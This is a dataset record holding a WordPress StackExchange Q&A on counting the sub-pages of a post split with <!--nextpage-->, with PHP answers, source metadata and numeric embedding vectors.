0.034423828125, -0.0250244140625, -0.0037021636962890625, -0.03521728515625, 0.005321502685546875, 0.0030002593994140625, -0.04986572265625, 0.02862548828125, 0.0189361572265625, -0.0243988037109375, -0.0178680419921875, -0.0009541511535644531, 0.002086639404296875, 0.0204010009765625, 0.005138397216796875, 0.11279296875, 0.0160369873046875, -0.074951171875, 0.006366729736328125, -0.040496826171875, -0.046234130859375, 0.0267333984375, -0.00414276123046875, 0.012542724609375, -0.00801849365234375, -0.00034689903259277344, -0.0161285400390625, 0.029754638671875, -0.00098419189453125, 0.0018405914306640625, 0.006641387939453125, -0.04132080078125, 0.0285186767578125, 0.05712890625, -0.0254669189453125, -0.039337158203125, 0.055328369140625, -0.06280517578125, -0.004688262939453125, 0.017608642578125, -0.031890869140625, -0.0224761962890625, 0.01392364501953125, -0.037994384765625, 0.00957489013671875, -0.0240325927734375, 0.038055419921875, 0.046142578125, 0.0268096923828125, 0.02618408203125, 0.00787353515625, -0.0186614990234375, -0.01203155517578125, -0.05328369140625, 0.01496124267578125, -0.01336669921875, -0.01151275634765625, -0.01413726806640625, 0.0158233642578125, -0.011627197265625, 0.002590179443359375, -0.048248291015625, 0.0157928466796875, 0.0036163330078125, -0.05194091796875, -0.005939483642578125, -0.010040283203125, 0.013397216796875, 0.0052947998046875, 0.016754150390625, 0.0011453628540039062, -0.028411865234375, -0.01222991943359375, 0.00170135498046875, -0.032867431640625, -0.02880859375, -0.01251220703125, -0.00212860107421875, -0.07135009765625, 0.011016845703125, 0.0018367767333984375, -0.0290985107421875, -0.043701171875, -0.036346435546875, -0.092529296875, -0.02752685546875, 0.028778076171875, -0.07830810546875, 0.01041412353515625, 0.0017824172973632812, -0.004261016845703125, -0.044708251953125, -0.01544189453125, -0.0445556640625, -0.0341796875, 0.0160675048828125, -0.08953857421875, 0.0222015380859375, 0.054595947265625, -0.023834228515625, 0.0109710693359375, 0.01885986328125, 0.0237274169921875, 0.0156097412109375, 0.036376953125, -0.0077972412109375, 0.034942626953125, 0.00922393798828125, 0.0254058837890625, -0.023651123046875, 0.0225067138671875, 0.006000518798828125, -0.01219940185546875, 0.0278472900390625, -0.059906005859375, -0.0240936279296875, -0.032257080078125, -0.03131103515625, -0.03271484375, -0.0208282470703125, -0.020355224609375, 0.00664520263671875, 0.003185272216796875, -0.019195556640625, -0.0161590576171875, -0.0428466796875, 0.0001195669174194336, -0.06390380859375, -0.01702880859375, 0.01436614990234375, 0.0975341796875, 0.0270843505859375, 0.0209808349609375, 0.039306640625, -0.0006728172302246094, 0.0426025390625, 0.01023101806640625, -0.034423828125, -0.00838470458984375, -0.032257080078125, -0.019256591796875, 0.0161590576171875, -0.0242462158203125, 0.0005850791931152344, 0.043731689453125, 0.0338134765625, 0.0175628662109375, -0.043487548828125, 0.014495849609375, 0.0233001708984375, 0.0286102294921875, -0.003955841064453125, -0.039703369140625, 0.0002448558807373047, 0.039825439453125, -0.0241241455078125, 0.054595947265625, -0.00640869140625, -0.02252197265625, 0.002025604248046875, 0.03192138671875, 0.066650390625, 0.048248291015625, -0.00803375244140625, 0.04296875, 0.0296173095703125, -0.00966644287109375, 0.034332275390625, 0.047332763671875, -0.01068878173828125, 0.053955078125, 0.0163116455078125, -0.0064697265625, 0.0033359527587890625, 0.00531768798828125, 0.031707763671875, 0.000751495361328125, -0.05670166015625, -0.007663726806640625, -0.002567291259765625, -0.0040130615234375, 0.011322021484375, 0.0182037353515625, 0.055328369140625, 0.0198822021484375, -0.03521728515625, -0.00791168212890625, -0.00141143798828125, -0.0130767822265625, -0.0533447265625, -0.0335693359375, -0.027587890625, -0.017608642578125, 0.02288818359375, 0.008697509765625, 0.0108795166015625, 0.0141754150390625, -0.018707275390625, -0.0088958740234375, -0.01386260986328125, 0.05352783203125, 0.020172119140625, -0.024200439453125, -0.0127105712890625, 0.049957275390625, 0.023193359375, -0.04437255859375, -0.037567138671875, 0.046966552734375, 0.037689208984375, -0.0012121200561523438, -0.00438690185546875, -0.000010013580322265625, 0.01171112060546875, -0.0254058837890625, 0.0155487060546875, 0.040374755859375, 0.0011262893676757812, -0.02630615234375, -0.010223388671875, 0.030914306640625, 0.038360595703125, -0.01108551025390625, 0.0142669677734375, 0.0037384033203125, 0.050628662109375, 0.00044226646423339844, 0.00681304931640625, 0.010711669921875, 0.00917816162109375, -0.03167724609375, -0.0304718017578125, 0.01409912109375, 0.01091766357421875, 0.01523590087890625, -0.038055419921875, -0.039398193359375, 0.042755126953125, -0.02960205078125, -0.0139617919921875, -0.0242462158203125, 0.02545166015625, -0.05133056640625, 0.007656097412109375, 0.064697265625, 0.0288543701171875, -0.057037353515625, -0.0256500244140625, -0.04315185546875, -0.00738525390625, -0.0310516357421875, -0.0615234375, -0.0250701904296875, -0.002044677734375, -0.02569580078125, 0.02142333984375, -0.0209503173828125, 0.0232391357421875, 0.0075531005859375, 0.023773193359375, -0.0118560791015625, 0.0399169921875, -0.0153961181640625, 0.0352783203125, 0.0283966064453125, -0.0223236083984375, -0.0015344619750976562, 0.01490020751953125, 0.02081298828125, -0.006626129150390625, 0.00860595703125, 0.0093994140625, 0.01080322265625, -0.036773681640625, 0.05450439453125, -0.030914306640625, 0.02374267578125, -0.00589752197265625, -0.01102447509765625, 0.01556396484375, -0.00439453125, -0.00998687744140625, 0.0135345458984375, 0.0657958984375, 0.02099609375, 0.0006527900695800781, -0.03692626953125, 0.0030651092529296875, -0.002094268798828125, 0.01458740234375, 0.0268096923828125, -0.0260467529296875, 0.0198822021484375, 0.007747650146484375, -0.04949951171875, 0.012054443359375, 0.00989532470703125, 0.0212249755859375, 0.037811279296875, -0.0116119384765625, 0.039520263671875, -0.0022068023681640625, 0.059906005859375, -0.015899658203125, -0.0380859375, 0.0692138671875, 0.020416259765625, -0.01163482666015625, 0.04962158203125, -0.01377105712890625, 0.035247802734375, 0.0303497314453125, 0.0810546875, -0.04290771484375, 0.00684356689453125, 0.0362548828125, -0.0307769775390625, 0.00820159912109375, -0.030609130859375, 0.0275115966796875, 0.0012121200561523438, 0.08197021484375, 0.022979736328125, 0.0013446807861328125, 0.05401611328125, -0.00846099853515625, -0.01678466796875, -0.039306640625, 0.01457977294921875, 0.0159759521484375, 0.0019235610961914062, 0.0132904052734375, 0.0034580230712890625, -0.0032329559326171875, -0.032745361328125, 0.024932861328125, 0.005489349365234375, 0.001445770263671875, -0.032135009765625, 0.036407470703125, 0.0072784423828125, 0.004913330078125, 0.0025348663330078125, -0.0017709732055664062, 0.016510009765625, 0.04693603515625, -0.0232391357421875, 0.0114593505859375, 0.006221771240234375, 0.006008148193359375, -0.076904296875, -0.0198974609375, 0.0279998779296875, 0.0477294921875, -0.0654296875, 0.041778564453125, -0.042205810546875, -0.010589599609375, 0.007266998291015625, -0.007244110107421875, 0.042144775390625, -0.04779052734375, -0.00994110107421875, 0.01528167724609375, -0.002819061279296875, 0.0164031982421875, -0.0174713134765625, -0.00920867919921875, -0.0435791015625, -0.01412200927734375, -0.0230560302734375, -0.0438232421875, 0.00815582275390625, -0.03033447265625, -0.0263519287109375, 0.06805419921875, 0.026885986328125, 0.0040435791015625, 0.03216552734375, 0.02685546875, -0.04595947265625, 0.010498046875, -0.053558349609375, 0.063720703125, 0.00826263427734375, 0.050567626953125, -0.063720703125, -0.0113983154296875, 0.00273895263671875, 0.0272216796875, 0.030029296875, 0.01044464111328125, -0.0008645057678222656, -0.0033435821533203125, -0.0032958984375, 0.0045013427734375, -0.02752685546875, 0.0279693603515625, -0.0394287109375, -0.01175689697265625, -0.013885498046875, -0.032196044921875, 0.0284423828125, -0.049468994140625, -0.030792236328125, 0.006381988525390625, -0.0019502639770507812, -0.020416259765625, -0.0206451416015625, -0.040283203125, -0.00894927978515625, 0.0014944076538085938, -0.028228759765625, 0.0299224853515625, -0.0180816650390625, 0.047393798828125, 0.017974853515625, -0.00855255126953125, -0.0150604248046875, -0.0247955322265625, 0.034820556640625, -0.0075225830078125, -0.007640838623046875, -0.008148193359375, 0.0042572021484375, -0.0230560302734375, 0.0088043212890625, -0.01340484619140625, 0.032623291015625, -0.00832366943359375, 0.0855712890625, 0.040740966796875, 0.02691650390625, -0.0179901123046875, -0.01343536376953125, -0.00021398067474365234, 0.08721923828125, -0.036041259765625, -0.054931640625, -0.00875091552734375, -0.0264739990234375, 0.01131439208984375, 0.005962371826171875, -0.0038967132568359375, 0.0094757080078125, 0.032257080078125, -0.058135986328125, -0.0047607421875, 0.00942230224609375, 0.058990478515625, -0.00850677490234375, -0.01238250732421875, -0.047515869140625, -0.048583984375, -0.033782958984375, 0.0121307373046875, 0.00745391845703125, 0.04718017578125, -0.0159912109375, 0.05224609375, -0.026275634765625, -0.01126861572265625, -0.01202392578125, 0.0217742919921875, -0.04132080078125, 0.036102294921875, -0.05950927734375, -0.06689453125, 0.0185546875, 0.050018310546875, 0.020599365234375, 0.0277252197265625, -0.03643798828125, -0.024688720703125, 0.0322265625, 0.0255126953125, 0.058197021484375, -0.0186614990234375, -0.00771331787109375, -0.031707763671875, 0.011932373046875, -0.0222625732421875, -0.00682830810546875, -0.006282806396484375, 0.039886474609375, -0.02056884765625, -0.0238494873046875, -0.00037932395935058594, -0.001556396484375, -0.028228759765625, 0.047027587890625, 0.0097198486328125, 0.047943115234375, -0.0096588134765625, -0.05902099609375, -0.019744873046875, -0.0270538330078125, -0.0294036865234375, 0.0193328857421875, 0.032012939453125, -0.0226898193359375, 0.025360107421875, 0.00489044189453125, -0.01512908935546875, 0.050384521484375, -0.00848388671875, -0.0254974365234375, 0.044525146484375, 0.036712646484375, 0.007602691650390625, 0.0223846435546875, 0.021728515625, 0.04083251953125, 0.0106964111328125, 0.036407470703125, -0.003910064697265625, 0.0024433135986328125, 0.016632080078125, 0.051971435546875, 0.003635406494140625, 0.01100921630859375, -0.01148223876953125, 0.036376953125, -0.04022216796875, 0.010284423828125, 0.00027823448181152344, -0.060211181640625, 0.021453857421875, 0.0193328857421875, 0.0026035308837890625, 0.058441162109375, -0.050048828125, 0.0138397216796875, -0.0248565673828125, 0.058441162109375, -0.0120697021484375, -0.0301666259765625, -0.01537322998046875, 0.004222869873046875, 0.0234527587890625, 0.0517578125, 0.0114898681640625, 0.01088714599609375, -0.01476287841796875, -0.01702880859375, -0.0147247314453125, -0.0107421875, -0.036590576171875, 0.02313232421875, -0.022918701171875, 0.00726318359375, -0.03533935546875, -0.027740478515625, 0.01433563232421875, 0.0024623870849609375, -0.0189361572265625, -0.00738525390625, 0.006328582763671875, -0.03009033203125, -0.02239990234375, 0.00797271728515625, -0.01461029052734375, -0.0049591064453125, -0.03472900390625, 0.0005674362182617188, -0.0134124755859375, -0.026031494140625, -0.025115966796875, -0.04351806640625, 0.0007228851318359375, 0.0021190643310546875, -0.022735595703125, -0.0170745849609375, 0.0160369873046875, -0.0161285400390625, 0.0386962890625, 0.00024187564849853516, -0.0450439453125, 0.0222015380859375, -0.0307159423828125, -0.0014400482177734375, -0.0007181167602539062, 0.0177154541015625, 0.006961822509765625, 0.017852783203125, -0.043304443359375, -0.0209197998046875, -0.019866943359375, 0.0237274169921875, -0.013763427734375, 0.01383209228515625, 0.033447265625, -0.0276336669921875, -0.0255279541015625, -0.0015993118286132812, 0.0023040771484375, 0.036224365234375, 0.042510986328125, -0.00431060791015625, -0.0076141357421875, 0.021392822265625, -0.03082275390625, -0.00787353515625, 0.035858154296875, -0.0252685546875, -0.06439208984375, -0.024200439453125, 0.0134735107421875, 0.0269622802734375, -0.0218048095703125, -0.05560302734375, 0.0194091796875, -0.014434814453125, -0.0178680419921875, -0.038299560546875, 0.02484130859375, 0.00811767578125, -0.038787841796875, -0.0279388427734375, 0.0164642333984375, 0.0020618438720703125, 0.01543426513671875, 0.005970001220703125, 0.02557373046875, 0.0246124267578125, -0.006008148193359375, -0.0267486572265625, 0.00011432170867919922, -0.0100860595703125, 0.0179290771484375, -0.0287933349609375, 0.0037631988525390625, 0.0249786376953125, 0.031097412109375, -0.01512908935546875, 0.009490966796875, 0.0209197998046875, 0.0009794235229492188, -0.010467529296875, -0.01091766357421875, 0.010406494140625, 0.0092315673828125, 0.046905517578125, 0.024658203125, 0.00274658203125, -0.040374755859375, -0.029754638671875, -0.010589599609375, -0.00634002685546875, 0.03240966796875, 0.0032291412353515625, -0.00931549072265625, 0.035797119140625, -0.01776123046875, -0.0306549072265625, -0.029205322265625, 0.0255279541015625, -0.06787109375, 0.0074310302734375, -0.027862548828125, 0.006092071533203125, -0.0592041015625, -0.0245819091796875, 0.0677490234375, -0.045379638671875, -0.012786865234375, 0.0352783203125, 0.009490966796875, 0.0300750732421875, 0.04486083984375, 0.06414794921875, 0.07147216796875, -0.05914306640625, -0.0335693359375, 0.046417236328125, -0.0165557861328125, 0.01800537109375, -0.042144775390625, 0.005523681640625, 0.01230621337890625, -0.021087646484375, 0.003932952880859375, 0.0239715576171875, 0.01416015625, -0.0258331298828125, 0.059539794921875, -0.0125579833984375, 0.1185302734375, 0.01410675048828125, 0.034698486328125, 0.01204681396484375, -0.004161834716796875, 0.033599853515625, -0.021759033203125, 0.0069427490234375, 0.0183868408203125, -0.0124664306640625, -0.05804443359375, 0.043212890625, 0.0140380859375, 0.019927978515625, 0.02923583984375 ]
8ab50b4f093569103e5f46a7caedbd1d236488e6
Wordpress Stackexchange Q: How to get the number of Pages in a single Post Pagination? Is there a way to query the number of pages/the last page of a single post which is paginated by <!--nextpage--> on wordpress? function count_post_pages($post_id) { $the_post = get_post($post_id); return count(explode('<!--nextpage-->', $the_post->post_content)); } I am not sure whether this is the right of way of doing it, but can someone help... A: have a look at https://codex.wordpress.org/Global_Variables#Inside_the_Loop_variables within the loop, the global variables related to the <!--nextpage--> tag are: $page - the actual sub page, $multipage - (boolean) =1 if nextpage was used $numpages - total number of sub pages
Q: How to get the number of Pages in a single Post Pagination? Is there a way to query the number of pages/the last page of a single post which is paginated by <!--nextpage--> on wordpress? function count_post_pages($post_id) { $the_post = get_post($post_id); return count(explode('<!--nextpage-->', $the_post->post_content)); } I am not sure whether this is the right of way of doing it, but can someone help... A: have a look at https://codex.wordpress.org/Global_Variables#Inside_the_Loop_variables within the loop, the global variables related to the <!--nextpage--> tag are: $page - the actual sub page, $multipage - (boolean) =1 if nextpage was used $numpages - total number of sub pages A: Inside the loop, as michael pointed out you could just refer to $numpages global variable. Outside of the loop, your code is almost fine. Being the number of the pages the number of <!--nextpage--> + 1, you could save a function call by doing: $numOfPages = 1 + substr_count($the_post->post_content, '<!--nextpage-->'); As a quick and not-that-dirty solution that is totally fine. However, that code would not take into account filters and other minor things (e.g. <!--nextpage--> at the very start of the post content is ignored). So to be 100% compatible with core code, your function should be something like: function count_post_pages($post_id) { $post = get_post($post_id); if (!$post) { return -1; } global $numpages; $q = new WP_Query(); $q->setup_postdata($post); $count = $numpages; $q->reset_postdata(); return $count; } This is 100% compatible with core code, but also is more "expensive" and triggers more hooks than you actually need (with possibly unexpected side effects). The third solution would be: function count_post_pages($post_id) { $post = get_post($post_id); if (!$post) { return -1; } $content = ltrim($post->post_content); // Ignore nextpage at the beginning of the content if (strpos($content, '<!--nextpage-->') === 0) { $content = substr($content, 15); } $pages = explode('<!--nextpage-->', $content); $pages = apply_filters('content_pagination', $pages, $post); return count($pages); } This solution is relatively "cheap" and it is 100% core compliant... for now, in fact, the issue with this code is that it duplicates some code that might change in future versions (e.g. the "content_pagination" filter was added in version 4.4, so quite recently). A: When WordPress is using pagination like this, there's a query variable $paged that it keys on. So page 1 is $paged=1 and page 15 is $paged=15. You can get the value of this variable with the following code: $paged = (get_query_var('paged')) ? get_query_var('paged') : 1; Getting the total number of pages is a bit trickier. First you have to count all the posts in the database. Then filter by which posts are published (versus which are drafts, scheduled, trash, etc.). Then you have to divide this count by the number of posts you expect to appear on each page: $total_post_count = wp_count_posts(); $published_post_count = $total_post_count->publish; $total_pages = ceil( $published_post_count / $posts_per_page ); I haven't tested this yet, but you might need to fetch $posts_per_page the same way you fetched $paged (using get_query_var()).
wordpress
{ "language": "en", "length": 483, "provenance": "stackexchange_00019.jsonl.gz:485998", "question_score": "6", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/302959" }
[ 0.0386962890625, -0.017486572265625, 0.051666259765625, -0.03106689453125, -0.002471923828125, -0.0009813308715820312, 0.032958984375, -0.023162841796875, 0.00252532958984375, -0.01300811767578125, -0.03485107421875, -0.0015583038330078125, -0.028045654296875, -0.0294647216796875, 0.0163726806640625, -0.054595947265625, 0.04083251953125, -0.0209503173828125, 0.0238800048828125, 0.00981903076171875, -0.01540374755859375, 0.03228759765625, 0.0285491943359375, 0.031463623046875, 0.02215576171875, -0.00739288330078125, 0.038848876953125, -0.03155517578125, 0.00824737548828125, -0.036834716796875, 0.02679443359375, 0.0292205810546875, 0.01264190673828125, -0.0221710205078125, 0.007656097412109375, -0.04595947265625, -0.011962890625, -0.0069580078125, 0.01116943359375, -0.0122528076171875, 0.01543426513671875, 0.005645751953125, 0.0268707275390625, -0.01136016845703125, -0.00688934326171875, -0.0277099609375, 0.00653076171875, -0.046966552734375, 0.0124664306640625, -0.008880615234375, 0.007232666015625, 0.0090179443359375, 0.01531219482421875, 0.01276397705078125, -0.0119171142578125, -0.014678955078125, 0.060943603515625, -0.04736328125, 0.0374755859375, -0.0655517578125, -0.050079345703125, -0.01580810546875, 0.061187744140625, -0.00023353099822998047, -0.05291748046875, -0.0066680908203125, -0.07940673828125, 0.00414276123046875, 0.033233642578125, -0.0732421875, -0.01033782958984375, 0.0126953125, -0.0007152557373046875, 0.006740570068359375, 0.00360107421875, -0.0272979736328125, 0.0118560791015625, -0.0011997222900390625, 0.0003323554992675781, 0.0287322998046875, -0.021697998046875, 0.0036029815673828125, -0.06195068359375, 0.0021114349365234375, -0.005275726318359375, 0.00899505615234375, -0.0215911865234375, 0.0009427070617675781, -0.01052093505859375, -0.0174102783203125, -0.01448822021484375, 0.0184173583984375, 0.01016998291015625, -0.005298614501953125, -0.04534912109375, -0.01477813720703125, 0.0194244384765625, 0.044647216796875, -0.005767822265625, -0.028839111328125, 0.0147247314453125, -0.0311126708984375, -0.02288818359375, -0.0272216796875, 0.0224456787109375, 0.0303955078125, 0.0159759521484375, 0.01678466796875, 0.0562744140625, 0.01168060302734375, 0.01102447509765625, 0.060882568359375, -0.01505279541015625, -0.0275726318359375, -0.03533935546875, 0.0230560302734375, -0.03839111328125, -0.012542724609375, 0.01116943359375, -0.021697998046875, -0.0265655517578125, -0.02001953125, -0.0210418701171875, 0.00994873046875, 0.032958984375, 0.01016998291015625, -0.007659912109375, 0.011138916015625, 0.059234619140625, 0.042938232421875, -0.045867919921875, -0.01226806640625, 0.00551605224609375, -0.0170440673828125, -0.00019931793212890625, -0.0267791748046875, 0.0035686492919921875, -0.0374755859375, -0.0188140869140625, 0.01708984375, -0.048492431640625, -0.031890869140625, 0.0061798095703125, -0.05413818359375, -0.00408172607421875, 0.002300262451171875, 0.0228118896484375, 0.038909912109375, -0.0289154052734375, -0.03558349609375, 0.02178955078125, 0.019989013671875, 0.00940704345703125, 0.00611114501953125, -0.028594970703125, -0.011810302734375, -0.045623779296875, -0.00011152029037475586, 0.028900146484375, -0.005191802978515625, 0.052337646484375, 0.005130767822265625, 0.002223968505859375, 0.0006923675537109375, -0.03204345703125, -0.005100250244140625, -0.0577392578125, -0.021087646484375, 0.01568603515625, 0.014312744140625, -0.004245758056640625, -0.01280975341796875, 0.005680084228515625, -0.009552001953125, -0.01560211181640625, 0.00395965576171875, 0.007472991943359375, 0.00677490234375, 0.001911163330078125, 0.06597900390625, -0.00016200542449951172, -0.036407470703125, 0.028778076171875, -0.0186309814453125, -0.01873779296875, 0.0187530517578125, 0.024749755859375, 0.024200439453125, -0.0231781005859375, 0.02178955078125, 0.01549530029296875, 0.040069580078125, -0.035675048828125, -0.0007405281066894531, 0.031585693359375, 0.0125274658203125, -0.032501220703125, -0.0106964111328125, -0.0012979507446289062, -0.01953125, 0.0088348388671875, 0.0082855224609375, -0.026611328125, 0.0262451171875, -0.01213836669921875, -0.019256591796875, 0.01473236083984375, -0.0017709732055664062, -0.0249176025390625, 0.020721435546875, 0.0259857177734375, -0.0257568359375, -0.01160430908203125, -0.00962066650390625, -0.007843017578125, -0.005329132080078125, -0.01398468017578125, -0.038818359375, -0.0179443359375, -0.011016845703125, -0.01739501953125, 0.00707244873046875, -0.039398193359375, 0.0270233154296875, 0.100830078125, -0.018310546875, -0.023712158203125, -0.046356201171875, 0.03985595703125, -0.0106353759765625, -0.08465576171875, 0.07244873046875, 0.035400390625, -0.0035724639892578125, -0.038543701171875, 0.0019140243530273438, -0.005092620849609375, -0.0145721435546875, -0.01110076904296875, 0.056732177734375, 0.0474853515625, 0.01332855224609375, -0.0120697021484375, -0.04864501953125, 0.0307159423828125, -0.058135986328125, -0.0020694732666015625, -0.029205322265625, 0.00023627281188964844, 0.0264892578125, 0.0313720703125, 0.026702880859375, 0.00811004638671875, -0.0058746337890625, 0.022064208984375, 0.028411865234375, 0.016357421875, 0.028656005859375, -0.0159759521484375, 0.016876220703125, -0.007389068603515625, -0.004138946533203125, -0.0038604736328125, -0.015838623046875, -0.017059326171875, 0.0022373199462890625, 0.0197906494140625, 0.017303466796875, 0.00783538818359375, -0.037872314453125, 0.0097198486328125, 0.00946807861328125, 0.00435638427734375, -0.02313232421875, -0.044525146484375, -0.01251983642578125, -0.0367431640625, 0.036346435546875, 0.02606201171875, -0.036376953125, -0.004695892333984375, 0.006900787353515625, -0.0226593017578125, -0.0150604248046875, -0.0069580078125, -0.03546142578125, 0.0010623931884765625, 0.01953125, -0.0164337158203125, 0.01399993896484375, 0.01053619384765625, 0.0672607421875, -0.0369873046875, 0.054473876953125, 0.017730712890625, 0.021209716796875, 0.041290283203125, -0.05780029296875, 0.058929443359375, -0.055755615234375, 0.039642333984375, 0.052581787109375, -0.033233642578125, 0.0276031494140625, 0.004276275634765625, -0.01201629638671875, 0.0066680908203125, 0.003543853759765625, -0.01256561279296875, -0.0097808837890625, -0.047515869140625, 0.0014734268188476562, 0.01398468017578125, 0.0311431884765625, 0.0036449432373046875, -0.0462646484375, 0.0126495361328125, 0.02520751953125, -0.09405517578125, -0.062469482421875, 0.0287322998046875, -0.0821533203125, -0.0137939453125, 0.0216827392578125, -0.052581787109375, -0.01514434814453125, 0.0718994140625, 0.00782012939453125, -0.041351318359375, -0.0271148681640625, -0.0657958984375, -0.0860595703125, -0.07720947265625, 0.0294036865234375, -0.0017242431640625, 0.0276336669921875, -0.01412200927734375, 0.07037353515625, -0.004383087158203125, -0.08563232421875, -0.0506591796875, 0.02716064453125, -0.05157470703125, -0.040985107421875, -0.0242156982421875, 0.004131317138671875, -0.015655517578125, 0.00984954833984375, 0.00014543533325195312, 0.0099945068359375, 0.0087738037109375, 0.0107574462890625, -0.01336669921875, -0.0142822265625, 0.0013904571533203125, 0.0305938720703125, 0.01007843017578125, 0.01165008544921875, 0.01383209228515625, -0.0249176025390625, -0.0653076171875, 0.004802703857421875, -0.08404541015625, 0.00394439697265625, 0.038970947265625, 0.01183319091796875, 0.003139495849609375, -0.00806427001953125, -0.0197906494140625, -0.0164337158203125, -0.0264129638671875, -0.01387786865234375, 0.045745849609375, -0.005420684814453125, -0.003528594970703125, 0.0199737548828125, 0.007415771484375, -0.0132293701171875, 0.028045654296875, 0.0004355907440185547, 0.0103912353515625, -0.02069091796875, 0.00838470458984375, -0.0458984375, -0.057586669921875, 0.060882568359375, 0.02020263671875, -0.00345611572265625, 0.0009479522705078125, -0.04730224609375, 0.0294189453125, 0.09735107421875, -0.0290069580078125, -0.0445556640625, -0.0208892822265625, 0.01219940185546875, 0.017730712890625, -0.0347900390625, 0.04229736328125, -0.040008544921875, -0.0667724609375, -0.0017232894897460938, -0.0250091552734375, -0.0222625732421875, -0.0306396484375, 0.051300048828125, -0.04901123046875, -0.028350830078125, 0.0243988037109375, -0.016204833984375, -0.011383056640625, 0.0246429443359375, -0.036865234375, 0.01837158203125, -0.036956787109375, -0.0119476318359375, -0.0257720947265625, -0.00475311279296875, -0.0031452178955078125, 0.01654052734375, 0.0008144378662109375, -0.021392822265625, -0.014129638671875, 0.00188446044921875, 0.02288818359375, 0.033294677734375, 0.01004791259765625, 0.0008916854858398438, 0.0297698974609375, 0.001239776611328125, 0.022705078125, -0.027374267578125, 0.0020389556884765625, 0.0006928443908691406, 0.013641357421875, 0.004150390625, -0.062164306640625, -0.04693603515625, -0.031494140625, -0.013336181640625, -0.0207977294921875, -0.016845703125, 0.01763916015625, 0.04986572265625, -0.0024051666259765625, 0.01922607421875, -0.0279693603515625, -0.033355712890625, 0.044708251953125, 0.053955078125, -0.06390380859375, 0.00981903076171875, 0.028778076171875, 0.020355224609375, -0.045257568359375, -0.1107177734375, -0.0176849365234375, 0.042633056640625, -0.0192718505859375, 0.037017822265625, 0.03021240234375, -0.0197906494140625, 0.05072021484375, 0.0033473968505859375, -0.0286865234375, -0.01146697998046875, 0.027252197265625, 0.006725311279296875, -0.00955963134765625, -0.0034885406494140625, -0.032958984375, 0.04949951171875, 0.00910186767578125, -0.045257568359375, -0.002498626708984375, 0.006504058837890625, 0.062408447265625, -0.04736328125, 0.0672607421875, -0.0308074951171875, -0.0491943359375, 0.00042510032653808594, 0.05169677734375, 0.037506103515625, 0.0179901123046875, -0.0018291473388671875, 0.066162109375, 0.06085205078125, 0.017242431640625, 0.04443359375, 0.06903076171875, 0.020538330078125, 0.061004638671875, 0.0275421142578125, 0.01215362548828125, -0.0230560302734375, 0.0173187255859375, -0.004741668701171875, -0.0131072998046875, -0.03399658203125, -0.01142120361328125, -0.0141143798828125, 0.0018873214721679688, 0.0246429443359375, -0.015869140625, 0.031585693359375, 0.01776123046875, -0.020538330078125, -0.0022487640380859375, -0.0046234130859375, -0.046295166015625, -0.0419921875, 0.004505157470703125, -0.0191497802734375, 0.01090240478515625, 0.00577545166015625, 0.08758544921875, -0.0258941650390625, 0.05517578125, -0.01806640625, -0.0030994415283203125, 0.00605010986328125, 0.07037353515625, 0.0323486328125, -0.0139007568359375, -0.032196044921875, 0.05108642578125, 0.0006718635559082031, -0.0006971359252929688, -0.040771484375, 0.0238800048828125, 0.032684326171875, 0.01285552978515625, 0.037628173828125, -0.0228271484375, 0.006992340087890625, -0.036865234375, 0.01340484619140625, 0.05963134765625, -0.005146026611328125, -0.0051727294921875, 0.0161590576171875, 0.01053619384765625, 0.037567138671875, -0.00165557861328125, 0.0148162841796875, -0.0238494873046875, 0.0235595703125, -0.007152557373046875, -0.002819061279296875, -0.0012111663818359375, -0.00872802734375, -0.01641845703125, -0.00777435302734375, 0.0211029052734375, -0.01444244384765625, -0.0148162841796875, -0.022003173828125, -0.0277557373046875, 0.01444244384765625, -0.006328582763671875, 0.062225341796875, -0.0386962890625, -0.0147705078125, 0.0016078948974609375, 0.006328582763671875, 0.046966552734375, 0.03021240234375, -0.02496337890625, 0.02691650390625, -0.06207275390625, -0.018798828125, 0.07574462890625, 0.01264190673828125, -0.0391845703125, -0.0491943359375, 0.0267791748046875, 0.041839599609375, 0.003475189208984375, -0.014678955078125, -0.0195465087890625, 0.000030159950256347656, 0.006275177001953125, 0.06646728515625, -0.0021686553955078125, 0.094482421875, -0.0114898681640625, 0.057952880859375, 0.01715087890625, 0.051177978515625, -0.021240234375, -0.02471923828125, 0.041534423828125, -0.0107574462890625, -0.04205322265625, -0.01068878173828125, -0.0274810791015625, -0.050750732421875, -0.01203155517578125, -0.0269012451171875, -0.0236358642578125, 0.0005497932434082031, 0.01369476318359375, -0.007312774658203125, 0.004978179931640625, 0.048980712890625, -0.0323486328125, 0.046783447265625, 0.0002675056457519531, -0.0117034912109375, 0.00971221923828125, -0.01367950439453125, -0.00577545166015625, 0.0239410400390625, -0.0205535888671875, -0.0034351348876953125, -0.03369140625, 0.0247344970703125, 0.060394287109375, 0.00913238525390625, 0.039520263671875, 0.0222930908203125, 0.0145721435546875, 0.0235748291015625, 0.0024318695068359375, 0.017364501953125, -0.0001480579376220703, 0.03253173828125, -0.004772186279296875, 0.0235595703125, 0.0195159912109375, -0.0239410400390625, 0.005428314208984375, 0.0162353515625, 0.041107177734375, -0.03521728515625, 0.0182037353515625, 0.0252227783203125, 0.001415252685546875, -0.00009554624557495117, 0.01153564453125, -0.00827789306640625, -0.036224365234375, 0.046600341796875, -0.0028018951416015625, 0.0156097412109375, 0.034912109375, -0.0281829833984375, -0.0143585205078125, -0.0233001708984375, 0.0234375, 0.017730712890625, -0.020477294921875, 0.00351715087890625, 0.01361083984375, -0.006587982177734375, -0.037506103515625, -0.0105133056640625, -0.005435943603515625, 0.007598876953125, -0.041351318359375, 0.0297698974609375, -0.05621337890625, 0.05999755859375, -0.01025390625, 0.01739501953125, 0.0035076141357421875, 0.066162109375, -0.0226287841796875, 0.0084991455078125, 0.0355224609375, -0.0404052734375, -0.03753662109375, 0.0082855224609375, 0.0284423828125, 0.004711151123046875, -0.039215087890625, 0.0245208740234375, -0.06353759765625, -0.005649566650390625, -0.01325225830078125, -0.002063751220703125, 0.08953857421875, -0.059417724609375, -0.0009679794311523438, 0.0152587890625, 0.05206298828125, 0.0013895034790039062, -0.002655029296875, 0.008697509765625, -0.0226593017578125, 0.0189056396484375, 0.005290985107421875, 0.01309967041015625, 0.0158843994140625, 0.0008187294006347656, -0.048065185546875, 0.0885009765625, -0.01352691650390625, 0.019073486328125, 0.022857666015625, 0.0390625, -0.032470703125, 0.011260986328125, -0.041748046875, 0.033660888671875, -0.0004954338073730469, 0.06903076171875, -0.043487548828125, -0.0157318115234375, 0.027099609375, 0.05938720703125, 0.03350830078125, 0.00576019287109375, -0.0261077880859375, -0.0309906005859375, 0.023681640625, 0.059173583984375, 